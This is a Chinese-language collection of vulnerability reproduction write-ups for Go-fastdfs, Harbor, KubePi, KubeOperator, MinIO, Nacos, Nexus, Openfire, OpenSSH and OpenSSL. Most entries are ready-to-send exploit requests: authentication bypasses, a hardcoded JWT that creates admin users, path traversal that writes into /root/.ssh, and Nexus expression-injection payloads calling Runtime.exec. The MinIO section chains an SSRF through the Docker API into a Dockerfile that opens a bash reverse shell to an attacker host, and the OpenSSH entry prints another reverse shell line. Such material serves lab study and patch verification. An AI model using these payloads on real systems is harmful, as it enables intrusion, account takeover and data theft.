容器化与云服务
Go-fastdfs
GetClientIp 未授权访问漏洞
漏洞描述
Go-fastdfs GetClientIp方法存在XFF头绕过漏洞,攻击者通过漏洞可以未授权调用接口,获取配置文件等敏感信息
漏洞影响
网络测绘
漏洞复现
主页面
调用读取配置接口,返回 ip 不允许访问
/group1/reload?action=get
追踪错误信息代码
跟一下 GetClientIp方法,这里会从 X-Forwarded-For 等参数获取值
回到调用的起点,验证方法为调用 IsPeer 参数
这里主要是验证获取到的值是否为配置中的 AdminIps
在配置文件 cfg.json 中 admin_ips 默认为 127.0.0.1 (可被爆破)
所以通过设置 X-Forwarded-For 就可以绕过接口调用限制,执行修改配置文件等操作,验证POC
/group1/reload?action=get
X-Forwarded-For: 127.0.0.1
upload 任意文件上传漏洞 CVE-2023-1800
漏洞描述
Go-fastdfs upload 接口存在任意文件上传漏洞,攻击者通过漏洞可以上传任意文件到服务器中,攻击服务器
漏洞影响
网络测绘
漏洞复现
主页面
验证POC
POST /group1/upload HTTP/1.1
Host:
Content-Length: 951
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryigj9M9EJykZc9u53
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="file"; filename="id"
Content-Type: application/octet-stream
test
------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="scene"
default
------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="filename"
id_rsa
------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="output"
json2
------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="path"
../../../../../root/.ssh
------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="code"
------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="auth_token"
------WebKitFormBoundaryigj9M9EJykZc9u53
Content-Disposition: form-data; name="submit"
upload
------WebKitFormBoundaryigj9M9EJykZc9u53--
Harbor
CVE-2019-16097
Harbor 未授权创建管理员漏洞
漏洞描述
近日,镜像仓库Harbor爆出任意管理员注册漏洞,攻击者在请求中构造特定字符串,在未授权的情况下可以直接创建管理员账号,从而接管Harbor镜像仓库。我们得到消息,第一时间对该漏洞进了验证,官方已发布公告说明,最新的1.7.6和1.8.3已修复此漏洞,请使用到的用户尽快升级至安全版本。
Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器。Harbor 1.7.0版本至1.8.2版本中的core/api/user.go文件存在安全漏洞。攻击者通过在请求中添加关键参数,即可利用该漏洞创建管理员账户,从而接管Harbor镜像仓库。
漏洞影响
网络测绘
漏洞复现
登录页面如下
向/api/user
接口发送创建用户的请求, 状态码返回201即创建成功
使用创建的账户成功登录后台
KubeOperator
KubeOperator kubeconfig 未授权访问漏洞 CVE-2023-22480
漏洞描述
KubeOperator 是一个开源的轻量级 Kubernetes 发行版,专注于帮助企业规划、部署和运营生产级别的 Kubernetes 集群。CVE-2023-22480 中,由于下载kubeconfig的路径不需要身份认证,导致攻击者可直接下载kubeconfig获取相关敏感信息。
漏洞影响
网络测绘
漏洞复现
登陆页面
在补丁中修复了配置文件下载接口的未授权
当集群存在时可通过接口未授权下载配置文件
验证POC (k8s为集群名称,不固定)
KubePi
KubePi JwtSigKey 登陆绕过漏洞 CVE-2023-22463
漏洞描述
KubePi 中存在 JWT硬编码,攻击者通过硬编码可以获取服务器后台管理权限,添加任意用户
漏洞影响
网络测绘
漏洞复现
登陆页面
验证POC
POST /kubepi/api/v1/users HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.127 Safari/537.36
accept: application/json
Accept-Encoding: gzip, deflate
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJuaWNrTmFtZSI6IkFkbWluaXN0cmF0b3IiLCJlbWFpbCI6InN1cHBvcnRAZml0MmNsb3VkLmNvbSIsImxhbmd1YWdlIjoiemgtQ04iLCJyZXNvdXJjZVBlcm1pc3Npb25zIjp7fSwiaXNBZG1pbmlzdHJhdG9yIjp0cnVlLCJtZmEiOnsiZW5hYmxlIjpmYWxzZSwic2VjcmV0IjoiIiwiYXBwcm92ZWQiOmZhbHNlfX0.XxQmyfq_7jyeYvrjqsOZ4BB4GoSkfLO2NvbKCEQjld8
{
"authenticate": {
"password": "{{randstr}}"
},
"email": "{{randstr}}@qq.com",
"isAdmin": true,
"mfa": {
"enable": false
},
"name": "{{randstr}}",
"nickName": "{{randstr}}",
"roles": [
"Supper User"
]
}
CVE-2023-22478
KubePi LoginLogsSearch 未授权访问漏洞
漏洞描述
KubePi LoginLogsSearch 方法下的接口存在未授权访问漏洞,攻击者通过漏洞可以未授权获取用户的登录日志信息,进一步爆破用户
漏洞影响
网络测绘
漏洞复现
登录页面
补丁中对路由加了身份验证
对应的接口为
验证POC
POST /kubepi/api/v1/systems/login/logs/search?pageNum=1&&pageSize=10 HTTP/1.1
Content-Type: application/json
{}
minio
CVE-2021-21287
MinIO SSRF漏洞
漏洞描述
随着工作和生活中的一些环境逐渐往云端迁移,对象存储的需求也逐渐多了起来,MinIO就是一款支持部署在私有云的开源对象存储系统。MinIO完全兼容AWS S3的协议,也支持作为S3的网关,所以在全球被广泛使用,在Github上已有25k星星。MinIO中存在SSRF漏洞,通过漏洞可以获取敏感信息或远程命令执行
漏洞影响
漏洞复现
既然我们选择了从MinIO入手,那么先了解一下MinIO。其实我前面也说了,因为平时用到MinIO的时候很多,所以这一步可以省略了。其使用Go开发,提供HTTP接口,而且还提供了一个前端页面,名为“MinIO Browser”。当然,前端页面就是一个登陆接口,不知道口令无法登录。
那么从入口点(前端接口)开始对其进行代码审计吧。
在User-Agent满足正则.*Mozilla.*
的情况下,我们即可访问MinIO的前端接口,前端接口是一个自己实现的JsonRPC:
我们感兴趣的就是其鉴权的方法,随便找到一个RPC方法,可见其开头调用了webRequestAuthenticate
,跟进看一下,发现这里用的是jwt鉴权:
jwt常见的攻击方法主要有下面这几种:
将alg设置为None,告诉服务器不进行签名校验
如果alg为RSA,可以尝试修改为HS256,即告诉服务器使用公钥进行签名的校验
爆破签名密钥
查看MinIO的JWT模块,发现其中对alg进行了校验,只允许以下三种签名方法:
这就堵死了前两种绕过方法,爆破当然就更别说了,通常仅作为没办法的情况下的手段。当然,MinIO中使用用户的密码作为签名的密钥,这个其实会让爆破变地简单一些。
鉴权这块没啥突破,我们就可以看看,有哪些RPC接口没有进行权限验证。
很快找到了一个接口,LoginSTS
。这个接口其实是AWS STS登录接口的一个代理,用于将发送到JsonRPC的请求转变成STS的方式转发给本地的9000端口(也就还是他自己,因为它是兼容AWS协议的)。
简化其代码如下:
// LoginSTS - STS user login handler.
func (web *webAPIHandlers) LoginSTS(r *http.Request, args *LoginSTSArgs, reply *LoginRep) error {
ctx := newWebContext(r, args, "WebLoginSTS")
v := url.Values{}
v.Set("Action", webIdentity)
v.Set("WebIdentityToken", args.Token)
v.Set("Version", stsAPIVersion)
scheme := "http"
// ...
u := &url.URL{
Scheme: scheme,
Host: r.Host,
}
u.RawQuery = v.Encode()
req, err := http.NewRequest(http.MethodPost, u.String(), nil)
// ...
}
没发现有鉴权上的绕过问题,但是发现了另一个有趣的问题。这里,MinIO为了将请求转发给“自己”,就从用户发送的HTTP头Host中获取到“自己的地址”,并将其作为URL的Host构造了新的URL。
这个过程有什么问题呢?
因为请求头是用户可控的,所以这里可以构造任意的Host,进而构造一个SSRF漏洞。
我们来实际测试一下,向http://192.168.227.131:9000
发送如下请求,其中Host的值是我本地ncat开放的端口(192.168.1.142:4444
):
POST /minio/webrpc HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Content-Type: application/json
Content-Length: 80
{"id":1,"jsonrpc":"2.0","params":{"token": "Test"},"method":"web.LoginSTS"}
成功收到请求:
可以确定这里存在一个SSRF漏洞了。
仔细观察,可以发现这是一个POST请求,但是Path和Body都没法控制,我们能控制的只有URL中的一个参数WebIdentityToken
。
但是这个参数经过了URL编码,无法注入换行符等其他特殊字符。这样就比较鸡肋了,如果仅从现在来看,这个SSRF只能用于扫描端口。我们的目标当然不仅限于此。
幸运的是,Go默认的http库会跟踪302跳转,而且不论是GET还是POST请求。所以,我们这里可以302跳转来“升级”SSRF漏洞。
使用PHP来简单地构造一个302跳转:
<?php
header('Location: http://192.168.1.142:4444/attack?arbitrary=params');
将其保存成index.php,启动一个PHP服务器:
将Host指向这个PHP服务器。这样,经过一次302跳转,我们收获了一个可以控制完整URL的GET请求:
放宽了一些限制,结合前面我对这套内网的了解,我们可以尝试攻击Docker集群的2375端口。
2375是Docker API的接口,使用HTTP协议通信,默认不会监听TCP地址,这里可能是为了方便内网其他机器使用所以开放在内网的地址里了。那么,我们是否可以通过SSRF来攻击这个接口呢?
在Docker未授权访问的情况下,我们通常可以使用docker run
或docker exec
来在目标容器里执行任意命令(如果你不了解,可以参考[这篇文章](http://blog.neargle.com/SecNewsBak/drops/新姿势之Docker Remote API未授权访问漏洞分析和利用.html))。但是翻阅Docker的文档可知,这两个操作的请求是POST /containers/create
和POST /containers/{id}/exec
。
两个API都是POST请求,而我们可以构造的SSRF却是一个GET的。怎么办呢?
还记得我们是怎样获得这个GET型的SSRF的吗?通过302跳转,而接受第一次跳转的请求就是一个POST请求。不过我们没法直接利用这个POST请求,因为他的Path不可控。
如何构造一个Path可控的POST请求呢?
我想到了307跳转,307跳转是在RFC 7231中定义的一种HTTP状态码,描述如下:
The 307 (Temporary Redirect) status code indicates that the target resource resides temporarily under a different URI and the user agent MUST NOT change the request method if it performs an automatic redirection to that URI.
307跳转的特点就是不会改变原始请求的方法,也就是说,在服务端返回307状态码的情况下,客户端会按照Location指向的地址发送一个相同方法的请求。
我们正好可以利用这个特性,来获得POST请求。
简单修改一下之前的index.php:
<?php
header('Location: http://192.168.1.142:4444/attack?arbitrary=params', false, 307);
尝试SSRF攻击,收到了预期的请求:
Bingo,获得了一个POST请求的SSRF,虽然没有Body。
回到Docker API,我发现现在仍然没法对run和exec两个API做利用,原因是,这两个API都需要在请求Body中传输JSON格式的参数,而我们这里的SSRF无法控制Body。
继续翻越Docker文档,我发现了另一个API,Build an image:
这个API的大部分参数是通过Query Parameters传输的,我们可以控制。阅读其中的选项,发现它可以接受一个名为remote
的参数,其说明为:
A Git repository URI or HTTP/HTTPS context URI. If the URI points to a single text file, the file’s contents are placed into a file called
Dockerfile
and the image is built from that file. If the URI points to a tarball, the file is downloaded by the daemon and the contents therein used as the context for the build. If the URI points to a tarball and thedockerfile
parameter is also specified, there must be a file with the corresponding path inside the tarball.
这个参数可以传入一个Git地址或者一个HTTP URL,内容是一个Dockerfile或者一个包含了Dockerfile的Git项目或者一个压缩包。
也就是说,Docker API支持通过指定远程URL的方式来构建镜像,而不需要我在本地写入一个Dockerfile。
所以,我尝试编写了这样一个Dockerfile,看看是否能够build这个镜像,如果可以,那么我的4444端口应该能收到wget的请求:
FROM alpine:3.13
RUN wget -T4 http://192.168.1.142:4444/docker/build
然后修改前面的index.php,指向Docker集群的2375端口:
<?php
header('Location: http://192.168.227.131:2375/build?remote=http://192.168.1.142:4443/Dockerfile&nocache=true&t=evil:1', false, 307);
进行SSRF攻击,等待了一会儿,果然收到请求了:
完美,我们已经可以在目标集群容器里执行任意命令了。
此时离我们的目标,拿下MinIO,还差一点点,后面的攻击其实就比较简单了。
因为现在可以执行任意命令,我们就不会再受到SSRF漏洞的限制,可以直接反弹一个shell,或者可以直接发送任意数据包到Docker API,来访问容器。经过一顿测试,我发现MinIO虽然是运行的一个service,但实际上就只有一个容器。
所以我编写了一个自动化攻击MinIO容器的脚本,并将其放在了Dockerfile中,让其在Build的时候进行攻击,利用docker exec
在MinIO的容器里执行反弹shell的命令。这个Dockerfile如下:
FROM alpine:3.13
RUN apk add curl bash jq
RUN set -ex && \
{ \
echo '#!/bin/bash'; \
echo 'set -ex'; \
echo 'target="http://192.168.227.131:2375"'; \
echo 'jsons=$(curl -s -XGET "${target}/containers/json" | jq -r ".[] | @base64")'; \
echo 'for item in ${jsons[@]}; do'; \
echo ' name=$(echo $item | base64 -d | jq -r ".Image")'; \
echo ' if [[ "$name" == *"minio/minio"* ]]; then'; \
echo ' id=$(echo $item | base64 -d | jq -r ".Id")'; \
echo ' break'; \
echo ' fi'; \
echo 'done'; \
echo 'execid=$(curl -s -X POST "${target}/containers/${id}/exec" -H "Content-Type: application/json" --data-binary "{\"Cmd\": [\"bash\", \"-c\", \"bash -i >& /dev/tcp/192.168.1.142/4444 0>&1\"]}" | jq -r ".Id")'; \
echo 'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"'; \
} | bash
这个脚本所干的事情比较简单,一个是遍历了所有容器,如果发现其镜像的名字中包含minio/minio
,则认为这个容器就是MinIO所在的容器。拿到这个容器的Id,用exec的API,在其中执行反弹shell的命令。
最后成功拿到MinIO容器的shell
参考文章
CVE-2023-28432
MinIO集群模式信息泄露漏洞(CVE-2023-28432)
MinIO是一个开源对象存储系统。
在其RELEASE.2023-03-20T20-16-18Z
版本(不含)以前,集群模式部署下存在一处信息泄露漏洞,攻击者可以通过发送一个POST数据包获取进程所有的环境变量,其中就包含账号密码MINIO_ROOT_USER
和MINIO_ROOT_PASSWORD
。
参考链接:
- https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q
- https://mp.weixin.qq.com/s/GNhQLuzD8up3VcBRIinmgQ
漏洞影响
网络测绘
漏洞环境
执行如下命令启动一个MinIO集群,其中包含3个以集群模式运行的服务:
docker compose up -d
集群启动后,访问http://your-ip:9001
可以查看Web管理页面,访问http://your-ip:9000
是API服务。
漏洞复现
这个漏洞存在于API节点http://your-ip:9000/minio/bootstrap/v1/verify
上,发送如下数据包即可查看泄露的环境变量:
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: your-ip:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
可见,其中包含MINIO_ROOT_USER
和MINIO_ROOT_PASSWORD
。使用这个账号密码,即可成功登录管理后台:
nacos
Alibaba Nacos secret.key默认密钥 未授权访问漏洞
漏洞描述
Alibaba Nacos 使用了固定的secret.key默认密钥,导致攻击者可以构造请求获取敏感信息,导致未授权访问漏洞
漏洞影响
网络测绘
漏洞复现
登陆页面
漏洞原因是由于使用了固定的Key
验证POC
/nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9
Alibaba Nacos user 未授权访问漏洞
漏洞描述
2020年12月29日,Nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的未授权访问漏洞 。通过该漏洞,攻击者可以进行任意操作,包括创建新用户并进行登录后操作。
漏洞影响
网络测绘
漏洞复现
登陆页面
验证POC
GET /nacos/v1/auth/users?pageNo=1&pageSize=9
User-Agent: Nacos-Server
CVE-2021-29441
Nacos 认证绕过漏洞(CVE-2021-29441)
Nacos 是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。
该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。
参考链接:
漏洞环境
运行漏洞环境:
docker compose up -d
环境运行后,会开放3306、8848、9848、9555端口,在本次漏洞利用中,我们只需要用到8848端口,即web访问端口。执行漏洞验证过程时,请先访问8848端口,确认开放,某些情况下nacos服务会启动失败(无法连接数据库导致),可以重启nacos服务或者重启所有服务
docker compose restart nacos
漏洞利用脚本
python poc.py http://target:8848
漏洞复现
漏洞利用过程如下:
- 修改User-Agent的值为Nacos-Server到请求包中
- 访问http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9查看状态码是否为200,且内容中是否包含`pageItems`
- 使用POST方式访问http://target:8848/nacos/v1/auth/users?username=vulhub&password=vulhub添加一个新用户
- 访问http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9获取已有的用户列表
- 访问http://target:8848/nacos/,使用添加的新用户(vulhub/vulhub)进行登录
检测漏洞是否存在
添加Header头后访问http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9
可以看到返回值为200,且内容中是否包含pageItems
添加新用户
添加Header头后使用POST方式请求http://target:8848/nacos/v1/auth/users?username=vulhub&password=vulhub
添加一个新用户,账号密码都为vulhub
使用新建的账号进行登录
CVE-2021-29442
Alibaba Nacos 未授权接口命令执行漏洞(CVE-2021-29442)
Nacos 是一个设计用于动态服务发现、配置和服务管理的易于使用的平台。
在Nacos 1.4.1之前的版本中,一些API端点(如/nacos/v1/cs/ops/derby
)可以默认没有鉴权,可以被未经身份验证的用户公开访问。攻击者可以利用该漏洞执行任意Derby SQL语句和 Java 代码。
参考资料:
- https://github.com/advisories/GHSA-xv5h-v7jh-p2qh
- https://github.com/alibaba/nacos/issues/4463
- https://github.com/ayoundzw/nacos-poc
- http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce
漏洞环境
执行如下命令启动一个 Alibaba Nacos 1.4.0服务器:
docker compose up -d
服务器启动后,访问http://your-ip:8848/nacos/
可以看到 Nacos 的默认登录页面。
漏洞复现
首先,将恶意JAR包evil.jar上传到攻击者的HTTP服务器上,例如http://evil/Nacos.jar
。
然后,执行POC:
python poc.py -t http://your-ip:8848 -s http://evil/Nacos.jar -c "ps aux"
-t
参数指定目标地址,-s
参数指定恶意JAR包的地址,-c
参数指定要执行的命令。
可见,ps aux
命令已被成功执行:
nexus
CVE-2019-7238
Nexus Repository Manager 3 远程命令执行漏洞(CVE-2019-7238)
Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库。其3.14.0及之前版本中,存在一处基于OrientDB自定义函数的任意JEXL表达式执行功能,而这处功能存在未授权访问漏洞,将可以导致任意命令执行漏洞。
参考链接:
- https://support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-Nexus-Repository-Manager-3-Missing-Access-Controls-and-Remote-Code-Execution-February-5th-2019
- https://xz.aliyun.com/t/4136
- https://www.anquanke.com/post/id/171116
- http://commons.apache.org/proper/commons-jexl/
环境搭建
执行如下命令启动Nexus Repository Manager 3.14.0:
docker compose up -d
等待一段时间环境才能成功启动,访问http://your-ip:8081
即可看到Web页面。
使用账号密码admin:admin123
登录后台,然后在maven-releases下随便上传一个jar包:
触发该漏洞,必须保证仓库里至少有一个包存在。
漏洞复现
接口没有校验权限,所以直接发送如下数据包,即可执行touch /tmp/success
命令:
POST /service/extdirect HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 368
Connection: close
{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":50,"sort":[{"property":"name","direction":"ASC"}],"filter":
[{"property":"repositoryName","value":"*"},{"property":"expression","value":"233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/success')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":8}
可见,/tmp/success
已成功执行:
原理是expression位置的JEXL表达式被执行,详情可阅读参考文档。
利用classloader加载字节码即可获得回显:
CVE-2020-10199
Nexus Repository Manager 3 远程命令执行漏洞(CVE-2020-10199)
Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库。其3.21.1及之前版本中,存在一处任意EL表达式注入漏洞,具有任意用户权限的攻击者可以在目标服务器上执行任意命令。
参考链接:
- https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
- https://github.com/threedr3am/learnjavabug/blob/93d57c4283/nexus/CVE-2020-10199/README.md
- https://github.com/jas502n/CVE-2020-10199
漏洞环境
执行如下命令启动Nexus Repository Manager 3.21.1:
docker compose up -d
等待一段时间环境才能成功启动,访问http://your-ip:8081
即可看到Web页面。
该漏洞需要至少普通用户身份,所以我们需要使用账号密码admin:admin
登录后台。
漏洞复现
登录后,复制当前Cookie和CSRF Token,发送如下数据包,即可执行EL表达式:
POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 203
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN: [csrf-token]
Content-Type: application/json
Accept: */*
Origin: http://127.0.0.1:8081
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: http://127.0.0.1:8081/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=[csrf-token]; NXSESSIONID=[session-id]
Connection: close
{
"name": "internal",
"online": true,
"storage": {
"blobStoreName": "default",
"strictContentTypeValidation": true
},
"group": {
"memberNames": ["$\\A{233*233*233}"]
}
}
参考https://github.com/jas502n/CVE-2020-10199,使用表达式$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}
即可成功执行任意命令。
CVE-2020-10204
Nexus Repository Manager 3 远程命令执行漏洞(CVE-2020-10204)
Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库。其3.21.1及之前版本中,存在一处任意EL表达式注入漏洞,具有管理员权限的攻击者可以在目标服务器上执行任意命令。这个漏洞是CVE-2018-16621的绕过。
参考链接:
- https://support.sonatype.com/hc/en-us/articles/360044356194-CVE-2020-10204-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
- https://github.com/threedr3am/learnjavabug/blob/93d57c4283/nexus/CVE-2020-10204/README.md
漏洞环境
执行如下命令启动Nexus Repository Manager 3.21.1:
docker compose up -d
等待一段时间环境才能成功启动,访问http://your-ip:8081
即可看到Web页面。
该漏洞需要访问更新角色或创建角色接口,所以我们需要使用账号密码admin:admin
登录后台。
漏洞复现
登录后台后,复制当前Cookie和CSRF Token,发送如下数据包,即可执行EL表达式:
POST /service/extdirect HTTP/1.1
Host: your-ip
Content-Length: 223
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN: [csrf-token]
Content-Type: application/json
Accept: */*
Origin: http://192.168.1.3:8081
Referer: http://192.168.1.3:8081/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=[csrf-token]; NXSESSIONID=[session-id]
Connection: close
{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User","email":"admin@example.org","status":"active","roles":["nxadmin$\\B{233*233}"]}],"type":"rpc","tid":11}
参考https://github.com/jas502n/CVE-2020-10199,使用表达式$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}
即可成功执行任意命令:
CVE-2024-4956
Nexus Repository Manager 3 未授权目录穿越漏洞(CVE-2024-4956)
Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库。
其3.68.0及之前版本中,存在一处目录穿越漏洞。攻击者可以利用该漏洞读取服务器上任意文件。
参考链接:
漏洞环境
执行如下命令启动一个Nexus Repository Manager version 3.68.0 版本服务器:
docker compose up -d
环境启动后,访问http://your-ip:8081
即可看到Nexus的默认页面。
漏洞复现
与Orange Tsai在Blackhat US 2018分享的SpringMVC CVE-2018-1271漏洞类似,Jetty的URIUtil.canonicalPath()
函数也将空字符串认为是一个合法目录,导致了该漏洞的产生:
发送如下请求来复现漏洞:
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
可见,/etc/passwd
已被成功读取:
openfire
CVE-2023-32315
Openfire管理后台认证绕过漏洞(CVE-2023-32315)
Openfire 是根据开放源 Apache 许可获得许可的实时协作(RTC)服务器。
在Openfire版本4.7.4和4.6.7及以前,Openfire的Web管理后台存在一处目录穿越漏洞,这将允许攻击者绕过权限校验访问所有受限页面。
参考文档:
- https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm
- https://mp.weixin.qq.com/s/EzfB8CM4y4aNtKFJqSOM1w
漏洞环境
执行如下命令启动一个4.7.4版本的Openfire:
docker compose up -d
服务器启动后,访问http://your-ip:9090
你将会被强制跳转到登录页面。
漏洞复现
十多年前,Openfire管理后台中曾被发现一处路径穿越漏洞,CVE-2008-6508。攻击者可以利用/setup/setup-/../../[page].jsp
来绕过权限校验并访问任意后台页面。
从那以后,Openfire增加了对于路径穿越问题的防护策略,用以抵御这个漏洞。但是因为后来内置的Web服务器的升级,引入了对UTF-16字符支持的非标准URL,而前面的防护策略并没有考虑到这一点。
这样也导致我们可以使用UTF-16字符来绕过路径穿越的防护,再次复活路径穿越漏洞,/setup/setup-/%u002e%u002e/%u002e%u002e/[page].jsp
。
我们可以发送如下数据包,利用该路径穿越漏洞创建一个新的管理员:
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=csrftoken&username=hackme&name=&email=&password=hackme&passwordConfirm=hackme&isadmin=on&create=Create+User HTTP/1.1
Host: localhost:9090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: csrf=csrftoken
虽然这个请求的响应包中包含异常,但实际上新用户已经被创建,账号密码均为hackme
:
之后我们便可以使用这个账号登录管理后台:
openssh
CVE-2018-15473
OpenSSH 用户名枚举漏洞(CVE-2018-15473)
OpenSSH 7.7前存在一个用户名枚举漏洞,通过该漏洞,攻击者可以判断某个用户名是否存在于目标主机中。
参考链接:
- http://openwall.com/lists/oss-security/2018/08/15/5
- https://github.com/Rhynorater/CVE-2018-15473-Exploit
- https://www.anquanke.com/post/id/157607
漏洞环境
执行如下命令,编译及启动一个运行OpenSSH 7.7p1的容器:
docker compose build
docker compose up -d
环境启动后,我们在客户端执行ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@your-ip -p20022
,输入密码vulhub
,即可登录到容器中。
漏洞复现
使用CVE-2018-15473-Exploit,枚举字典中的用户名:
python3 sshUsernameEnumExploit.py --port 20022 --userList exampleInput.txt your-ip
可见,root
、example
、vulhub
、nobody
是存在的用户,rootInvalid
、user
、phithon
是不存在的用户。
CVE-2020-15778
OpenSSH 命令注入漏洞
漏洞描述
2020年6月9日,研究人员Chinmay Pandya在Openssh中发现了一个漏洞,于7月18日公开。OpenSSH的8.3p1中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响。深信服安全研究团队依据漏洞重要性和影响力进行评估,作出漏洞通告。
漏洞影响
漏洞复现
攻击机创建 peiqi.txt ,利用 scp上传文件 到 /tmp 目录下
执行命令 ping dnslog
反弹shell 更换命令即可
/bin/bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9999 0>&1
openssl
CVE-2014-0160
OpenSSL 心脏出血漏洞(CVE-2014-0160)
心脏出血是OpenSSL库中的一个内存漏洞,攻击者利用这个漏洞可以服务到目标进程内存信息,如其他人的Cookie等敏感信息。
参考链接:
影响版本
环境搭建
运行如下命令启动一个使用了OpenSSL 1.0.1c的Nginx服务器:
https://github.com/vulhub/vulhub.git
cd vulhub/openssl/heartbleed
docker-compose up -d
环境启动后,访问https://your-ip:8443
即可查看到hello页面(需要忽略https错误)。
